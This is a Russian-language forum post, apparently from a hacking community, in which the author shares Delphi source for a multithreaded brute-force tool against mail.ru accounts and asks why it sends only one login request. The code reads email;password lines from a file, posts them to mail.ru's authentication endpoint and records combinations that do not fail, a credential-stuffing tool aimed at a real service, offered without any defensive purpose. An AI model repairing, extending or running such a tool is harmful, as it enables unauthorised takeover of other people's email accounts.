Решил написать многопоточный брут mail.ru, не судите строго, мои первые наработки. Можете объяснить, почему не работает? Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdCookieManager, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Memo1: TMemo; Memo2: TMemo; OpenDialog1: TOpenDialog; IdHTTP1: TIdHTTP; IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL; IdCookieManager1: TIdCookieManager; procedure Button2Click(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; tnewthread=class(tthread) private protected procedure execute;override; public procedure synhro; constructor create(createsuspended:boolean); end; var Form1: TForm1; nom:integer; a:array[1..50]of tnewthread; implementation {$R *.dfm} constructor tnewthread.create(createsuspended:boolean); begin inherited create(createsuspended); end; procedure TForm1.Button1Click(Sender: TObject); var pot:integer; begin for pot := 1 to 100 do begin a[pot]:=tnewthread.create(false); a[pot].FreeOnTerminate:=true; end; end; procedure TForm1.Button2Click(Sender: TObject); begin if opendialog1.Execute then memo2.Lines.LoadFromFile(opendialog1.FileName); end; procedure tnewthread.execute; begin while true do begin synchronize(synhro); sleep(100); end; end; procedure tnewthread.synhro; var login,pass,domain,response:string; data:tstringlist; i:integer; begin data:=tstringlist.Create; //form1.IdSSLIOHandlerSocketOpenSSL1.SSLOptions.Method:=sslvSSLv2; for I := 0 to form1.memo2.lines.count - 1 do begin application.processmessages(); login:=copy(form1.Memo2.Lines[i],1,pos('@',form1.memo2.lines[i])-1); pass:=copy(form1.Memo2.Lines[i],pos(';',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i])); domain:=copy(form1.Memo2.Lines[i],pos('@',form1.memo2.lines[i])+1,length(form1.Memo2.Lines[i])-length(pass)-length(login)-2); data.Add('domain='+domain); data.Add('login='+login); data.Add('pass='+pass); data.Add('level=0'); response:=form1.IdHTTP1.Post('https://auth.mail.ru/cgi-bin/auth',data); if pos('fail=1',response)=0 then form1.memo1.lines.Add(login+';'+pass); data.Clear; end; form1.idhttp1.Free; end; end.
исходя из данных сниффера, прога лишь один раз отправляет пост запрос с первой строкой из файла, затем заканчивает работу